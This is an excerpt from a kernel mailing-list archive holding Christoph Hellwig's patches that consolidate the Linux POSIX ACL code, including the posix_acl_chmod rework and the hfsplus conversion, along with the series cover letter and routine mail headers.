BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5na-0003ay-Ho; Sun, 01 Dec 2013 12:06:54 +0000 Message-Id: <20131201120654.453220050@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:08 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 05/18] fs: make posix_acl_chmod more useful References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 05/18] fs: make posix_acl_chmod more useful Content-Disposition: inline; filename=0005-fs-make-posix_acl_chmod-more-useful.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899626 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Rename the current posix_acl_chmod to __posix_acl_chmod and add a fully featured ACL chmod helper that uses the ->set_acl inode operation. Signed-off-by: Christoph Hellwig --- fs/9p/acl.c | 2 +- fs/btrfs/acl.c | 2 +- fs/ext2/acl.c | 2 +- fs/ext3/acl.c | 2 +- fs/ext4/acl.c | 2 +- fs/f2fs/acl.c | 2 +- fs/generic_acl.c | 2 +- fs/gfs2/acl.c | 2 +- fs/hfsplus/posix_acl.c | 2 +- fs/jffs2/acl.c | 2 +- fs/jfs/acl.c | 2 +- fs/ocfs2/acl.c | 2 +- fs/posix_acl.c | 30 +++++++++++++++++++++++++++--- fs/reiserfs/xattr_acl.c | 2 +- fs/xfs/xfs_acl.c | 2 +- include/linux/posix_acl.h | 17 +++++++++++++---- 16 files changed, 54 insertions(+), 21 deletions(-) diff --git a/fs/9p/acl.c b/fs/9p/acl.c index 7af425f..f5ce5c5 100644 --- a/fs/9p/acl.c +++ b/fs/9p/acl.c @@ -156,7 +156,7 @@ int v9fs_acl_chmod(struct inode *inode, struct p9_fid *fid) return -EOPNOTSUPP; acl = v9fs_get_cached_acl(inode, ACL_TYPE_ACCESS); if (acl) { - retval = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + retval = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (retval) return retval; set_cached_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c index 0890c83..1af04ff 100644 --- a/fs/btrfs/acl.c +++ b/fs/btrfs/acl.c @@ -256,7 +256,7 @@ int btrfs_acl_chmod(struct inode *inode) if (IS_ERR_OR_NULL(acl)) return PTR_ERR(acl); - ret = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (ret) return ret; ret = btrfs_set_acl(NULL, inode, acl, ACL_TYPE_ACCESS); diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c index 110b6b3..7006ced 100644 --- a/fs/ext2/acl.c +++ b/fs/ext2/acl.c @@ -308,7 +308,7 @@ ext2_acl_chmod(struct inode *inode) acl = ext2_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c index dbb5ad5..6691a6c 100644 --- a/fs/ext3/acl.c +++ b/fs/ext3/acl.c @@ -314,7 +314,7 @@ ext3_acl_chmod(struct inode *inode) acl = ext3_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; retry: diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c index 39a54a0..2eebe02 100644 --- a/fs/ext4/acl.c +++ b/fs/ext4/acl.c @@ -320,7 +320,7 @@ ext4_acl_chmod(struct inode *inode) acl = ext4_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; retry: diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c index d0fc287..14c4df0 100644 --- a/fs/f2fs/acl.c +++ b/fs/f2fs/acl.c @@ -311,7 +311,7 @@ int f2fs_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, mode); if (error) return error; diff --git a/fs/generic_acl.c b/fs/generic_acl.c index b3f3676..46a5076 100644 --- a/fs/generic_acl.c +++ b/fs/generic_acl.c @@ -158,7 +158,7 @@ generic_acl_chmod(struct inode *inode) return -EOPNOTSUPP; acl = get_cached_acl(inode, ACL_TYPE_ACCESS); if (acl) { - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; set_cached_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c index f69ac0a..3e200c7 100644 --- a/fs/gfs2/acl.c +++ b/fs/gfs2/acl.c @@ -162,7 +162,7 @@ int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr) if (!acl) return gfs2_setattr_simple(inode, attr); - error = posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); + error = __posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); if (error) return error; diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index b609cc1..cab5fd6 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -167,7 +167,7 @@ int hfsplus_posix_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - err = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + err = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (unlikely(err)) return err; diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c index 223283c..5853969 100644 --- a/fs/jffs2/acl.c +++ b/fs/jffs2/acl.c @@ -335,7 +335,7 @@ int jffs2_acl_chmod(struct inode *inode) acl = jffs2_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - rc = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (rc) return rc; rc = jffs2_set_acl(inode, ACL_TYPE_ACCESS, acl); diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c index d254d6d..9c0fca8 100644 --- a/fs/jfs/acl.c +++ b/fs/jfs/acl.c @@ -161,7 +161,7 @@ int jfs_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - rc = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (rc) return rc; diff --git a/fs/ocfs2/acl.c b/fs/ocfs2/acl.c index b4f788e..73ccf0e 100644 --- a/fs/ocfs2/acl.c +++ b/fs/ocfs2/acl.c @@ -350,7 +350,7 @@ int ocfs2_acl_chmod(struct inode *inode) acl = ocfs2_get_acl(inode, ACL_TYPE_ACCESS); if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - ret = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (ret) return ret; ret = ocfs2_set_acl(NULL, inode, NULL, ACL_TYPE_ACCESS, diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 9dd03e0..9f76aaa 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -338,7 +338,7 @@ static int posix_acl_create_masq(struct posix_acl *acl, umode_t *mode_p) /* * Modify the ACL for the chmod syscall. */ -static int posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) +static int __posix_acl_chmod_masq(struct posix_acl *acl, umode_t mode) { struct posix_acl_entry *group_obj = NULL, *mask_obj = NULL; struct posix_acl_entry *pa, *pe; @@ -402,12 +402,12 @@ posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) EXPORT_SYMBOL(posix_acl_create); int -posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) +__posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) { struct posix_acl *clone = posix_acl_clone(*acl, gfp); int err = -ENOMEM; if (clone) { - err = posix_acl_chmod_masq(clone, mode); + err = __posix_acl_chmod_masq(clone, mode); if (err) { posix_acl_release(clone); clone = NULL; @@ -417,6 +417,30 @@ posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) *acl = clone; return err; } +EXPORT_SYMBOL(__posix_acl_chmod); + +int +posix_acl_chmod(struct inode *inode) +{ + struct posix_acl *acl; + int ret = 0; + + if (S_ISLNK(inode->i_mode)) + return -EOPNOTSUPP; + if (!IS_POSIXACL(inode)) + return 0; + + acl = get_acl(inode, ACL_TYPE_ACCESS); + if (IS_ERR_OR_NULL(acl)) + return PTR_ERR(acl); + + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + if (ret) + return ret; + ret = inode->i_op->set_acl(inode, acl, ACL_TYPE_ACCESS); + posix_acl_release(acl); + return ret; +} EXPORT_SYMBOL(posix_acl_chmod); struct posix_acl *get_acl(struct inode *inode, int type) diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index 6f721ea..ea4e443 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -463,7 +463,7 @@ int reiserfs_acl_chmod(struct inode *inode) return 0; if (IS_ERR(acl)) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); if (error) return error; diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 370eb3e..4eac105 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -334,7 +334,7 @@ xfs_acl_chmod(struct inode *inode) if (IS_ERR(acl) || !acl) return PTR_ERR(acl); - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); if (error) return error; diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index a8d9918..8b64e78 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -89,12 +89,14 @@ extern int posix_acl_permission(struct inode *, const struct posix_acl *, int); extern struct posix_acl *posix_acl_from_mode(umode_t, gfp_t); extern int posix_acl_equiv_mode(const struct posix_acl *, umode_t *); extern int posix_acl_create(struct posix_acl **, gfp_t, umode_t *); -extern int posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); +extern int __posix_acl_chmod(struct posix_acl **, gfp_t, umode_t); extern struct posix_acl *get_posix_acl(struct inode *, int); extern int set_posix_acl(struct inode *, int, struct posix_acl *); #ifdef CONFIG_FS_POSIX_ACL +extern int posix_acl_chmod(struct inode *); + static inline struct posix_acl **acl_by_type(struct inode *inode, int type) { switch (type) { @@ -165,15 +167,22 @@ static inline void forget_all_cached_acls(struct inode *inode) if (old_default != ACL_NOT_CACHED) posix_acl_release(old_default); } -#endif static inline void cache_no_acl(struct inode *inode) { -#ifdef CONFIG_FS_POSIX_ACL inode->i_acl = NULL; inode->i_default_acl = NULL; -#endif } +#else +static inline int posix_acl_chmod(struct inode *inode) +{ + return 0; +} + +static inline void cache_no_acl(struct inode *inode) +{ +} +#endif /* CONFIG_FS_POSIX_ACL */ struct posix_acl *get_acl(struct inode *inode, int type); -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9D4397F5D for ; Sun, 1 Dec 2013 06:07:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2B227AC006 for ; Sun, 1 Dec 2013 04:07:09 -0800 (PST) X-ASG-Debug-ID: 1385899626-04cb6c537d41c8e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id oWAyXNZj98MOluDk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nZ-0003YA-LI; Sun, 01 Dec 2013 12:06:53 +0000 Message-Id: <20131201115903.910559036@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:03 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 00/18] Consolidate Posix ACL implementation X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 00/18] Consolidate Posix ACL implementation X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1385899627 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header This series consolidates the various cut'n'pasted Posix ACL implementations into a single common one based on the ->get_acl method Linus added a while ago and a new ->set_acl counterpart. This 1600 lines of code and provides a single place to implement various nasty little gems of the semantics. Unfortunately the 9p code is still left out - it implements the ACLs in two very weird ways, one using the common code but on the client only, and one pasing things straight through to the server. We could easily convert it to the new code on the write side if ->set_acl took a dentry, but there's no cance to do that on the ->get_acl side. Ideas how to handle it welcome. After that we'd be ready to never go into the fs for the ACL attributes and branch straight to the ACL code below the syscall, repairing the old API braindamage of overloading ACLs onto the xattrs. Btw, I'd be almost tempted to do that for all system.* attrs. Besides Posix ACLs we only have CIFS and NFSv4 ACL variants, weird advice crap in f2fs, and the magic mushroom proto name on sockets. From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CE9BA7F5E for ; Sun, 1 Dec 2013 06:07:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BA9F1304053 for ; Sun, 1 Dec 2013 04:07:12 -0800 (PST) X-ASG-Debug-ID: 1385899631-04cb6c537c41c8f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id FRHEJsl3S4RDOYrR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:11 -0800 (PST) X-Barracuda-Envelope-From: BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vn5nb-0003e2-Hr; Sun, 01 Dec 2013 12:06:55 +0000 Message-Id: <20131201120655.410590428@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Sun, 01 Dec 2013 03:59:13 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: [PATCH 10/18] hfsplus: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 10/18] hfsplus: use generic posix ACL infrastructure Content-Disposition: inline; filename=0010-hfsplus-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1385899631 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig --- fs/hfsplus/acl.h | 9 +-- fs/hfsplus/dir.c | 1 + fs/hfsplus/inode.c | 3 +- fs/hfsplus/posix_acl.c | 161 +++++------------------------------------------- fs/hfsplus/xattr.c | 5 +- fs/hfsplus/xattr.h | 2 - 6 files changed, 24 insertions(+), 157 deletions(-) diff --git a/fs/hfsplus/acl.h b/fs/hfsplus/acl.h index 07c0d49..95c8ed9 100644 --- a/fs/hfsplus/acl.h +++ b/fs/hfsplus/acl.h @@ -12,16 +12,13 @@ /* posix_acl.c */ struct posix_acl *hfsplus_get_posix_acl(struct inode *inode, int type); -extern int hfsplus_posix_acl_chmod(struct inode *); +int hfsplus_set_posix_acl(struct inode *inode, struct posix_acl *acl, + int type); extern int hfsplus_init_posix_acl(struct inode *, struct inode *); #else /* CONFIG_HFSPLUS_FS_POSIX_ACL */ #define hfsplus_get_posix_acl NULL - -static inline int hfsplus_posix_acl_chmod(struct inode *inode) -{ - return 0; -} +#define hfsplus_set_posix_acl NULL static inline int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) { diff --git a/fs/hfsplus/dir.c b/fs/hfsplus/dir.c index 4a4fea0..9ee6298 100644 --- a/fs/hfsplus/dir.c +++ b/fs/hfsplus/dir.c @@ -532,6 +532,7 @@ const struct inode_operations hfsplus_dir_inode_operations = { .removexattr = hfsplus_removexattr, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL .get_acl = hfsplus_get_posix_acl, + .set_acl = hfsplus_set_posix_acl, #endif }; diff --git a/fs/hfsplus/inode.c b/fs/hfsplus/inode.c index 37213d0..0034328 100644 --- a/fs/hfsplus/inode.c +++ b/fs/hfsplus/inode.c @@ -319,7 +319,7 @@ static int hfsplus_setattr(struct dentry *dentry, struct iattr *attr) mark_inode_dirty(inode); if (attr->ia_valid & ATTR_MODE) { - error = hfsplus_posix_acl_chmod(inode); + error = posix_acl_chmod(inode); if (unlikely(error)) return error; } @@ -393,6 +393,7 @@ static const struct inode_operations hfsplus_file_inode_operations = { .removexattr = hfsplus_removexattr, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL .get_acl = hfsplus_get_posix_acl, + .set_acl = hfsplus_set_posix_acl, #endif }; diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index 277942f..c629592 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -56,9 +56,8 @@ struct posix_acl *hfsplus_get_posix_acl(struct inode *inode, int type) return acl; } -static int hfsplus_set_posix_acl(struct inode *inode, - int type, - struct posix_acl *acl) +int hfsplus_set_posix_acl(struct inode *inode, struct posix_acl *acl, + int type) { int err; char *xattr_name; @@ -115,7 +114,7 @@ end_set_acl: int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) { int err = 0; - struct posix_acl *acl = NULL; + struct posix_acl *default_acl, *acl; hfs_dbg(ACL_MOD, "[%s]: ino %lu, dir->ino %lu\n", @@ -124,151 +123,21 @@ int hfsplus_init_posix_acl(struct inode *inode, struct inode *dir) if (S_ISLNK(inode->i_mode)) return 0; - acl = hfsplus_get_posix_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - - if (acl) { - if (S_ISDIR(inode->i_mode)) { - err = hfsplus_set_posix_acl(inode, - ACL_TYPE_DEFAULT, - acl); - if (unlikely(err)) - goto init_acl_cleanup; - } - - err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (unlikely(err < 0)) - return err; - - if (err > 0) - err = hfsplus_set_posix_acl(inode, - ACL_TYPE_ACCESS, - acl); - } else - inode->i_mode &= ~current_umask(); - -init_acl_cleanup: - posix_acl_release(acl); - return err; -} - -int hfsplus_posix_acl_chmod(struct inode *inode) -{ - int err; - struct posix_acl *acl; - - hfs_dbg(ACL_MOD, "[%s]: ino %lu\n", __func__, inode->i_ino); - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - acl = hfsplus_get_posix_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl) || !acl) - return PTR_ERR(acl); - - err = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (unlikely(err)) + err = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (err) return err; - err = hfsplus_set_posix_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - return err; -} - -static int hfsplus_xattr_get_posix_acl(struct dentry *dentry, - const char *name, - void *buffer, - size_t size, - int type) -{ - int err = 0; - struct posix_acl *acl; - - hfs_dbg(ACL_MOD, - "[%s]: ino %lu, buffer %p, size %zu, type %#x\n", - __func__, dentry->d_inode->i_ino, buffer, size, type); - - if (strcmp(name, "") != 0) - return -EINVAL; - - acl = hfsplus_get_posix_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - - err = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return err; -} - -static int hfsplus_xattr_set_posix_acl(struct dentry *dentry, - const char *name, - const void *value, - size_t size, - int flags, - int type) -{ - int err = 0; - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; - - hfs_dbg(ACL_MOD, - "[%s]: ino %lu, value %p, size %zu, flags %#x, type %#x\n", - __func__, inode->i_ino, value, size, flags, type); - - if (strcmp(name, "") != 0) - return -EINVAL; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - else if (acl) { - err = posix_acl_valid(acl); - if (err) - goto end_xattr_set_acl; - } + if (default_acl) { + err = hfsplus_set_posix_acl(inode, default_acl, + ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); } - err = hfsplus_set_posix_acl(inode, type, acl); - -end_xattr_set_acl: - posix_acl_release(acl); + if (acl) { + if (!err) + err = hfsplus_set_posix_acl(inode, acl, + ACL_TYPE_ACCESS); + posix_acl_release(acl); + } return err; } - -static size_t hfsplus_xattr_list_posix_acl(struct dentry *dentry, - char *list, - size_t list_size, - const char *name, - size_t name_len, - int type) -{ - /* - * This method is not used. - * It is used hfsplus_listxattr() instead of generic_listxattr(). - */ - return -EOPNOTSUPP; -} - -const struct xattr_handler hfsplus_xattr_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = hfsplus_xattr_list_posix_acl, - .get = hfsplus_xattr_get_posix_acl, - .set = hfsplus_xattr_set_posix_acl, -}; - -const struct xattr_handler hfsplus_xattr_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = hfsplus_xattr_list_posix_acl, - .get = hfsplus_xattr_get_posix_acl, - .set = hfsplus_xattr_set_posix_acl, -}; diff --git a/fs/hfsplus/xattr.c b/fs/hfsplus/xattr.c index 3c6136f..bf88baa 100644 --- a/fs/hfsplus/xattr.c +++ b/fs/hfsplus/xattr.c @@ -7,6 +7,7 @@ */ #include "hfsplus_fs.h" +#include #include "xattr.h" #include "acl.h" @@ -15,8 +16,8 @@ const struct xattr_handler *hfsplus_xattr_handlers[] = { &hfsplus_xattr_user_handler, &hfsplus_xattr_trusted_handler, #ifdef CONFIG_HFSPLUS_FS_POSIX_ACL - &hfsplus_xattr_acl_access_handler, - &hfsplus_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif &hfsplus_xattr_security_handler, NULL diff --git a/fs/hfsplus/xattr.h b/fs/hfsplus/xattr.h index 841b569..9e21449 100644 --- a/fs/hfsplus/xattr.h +++ b/fs/hfsplus/xattr.h @@ -14,8 +14,6 @@ extern const struct xattr_handler hfsplus_xattr_osx_handler; extern const struct xattr_handler hfsplus_xattr_user_handler; extern const struct xattr_handler hfsplus_xattr_trusted_handler; -extern const struct xattr_handler hfsplus_xattr_acl_access_handler; -extern const struct xattr_handler hfsplus_xattr_acl_default_handler; extern const struct xattr_handler hfsplus_xattr_security_handler; extern const struct xattr_handler *hfsplus_xattr_handlers[]; -- 1.7.10.4 From BATV+9ac760991a1afd8756ef+3752+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 1 06:07:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C6FE77F55 for ; Sun, 1 Dec 2013 06:07:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 53D92AC001 for ; Sun, 1 Dec 2013 04:07:08 -0800 (PST) X-ASG-Debug-ID: 1385899626-04cbb041684218f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id vndSRkIo3kbsfDcv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Dec 2013 04:07:06 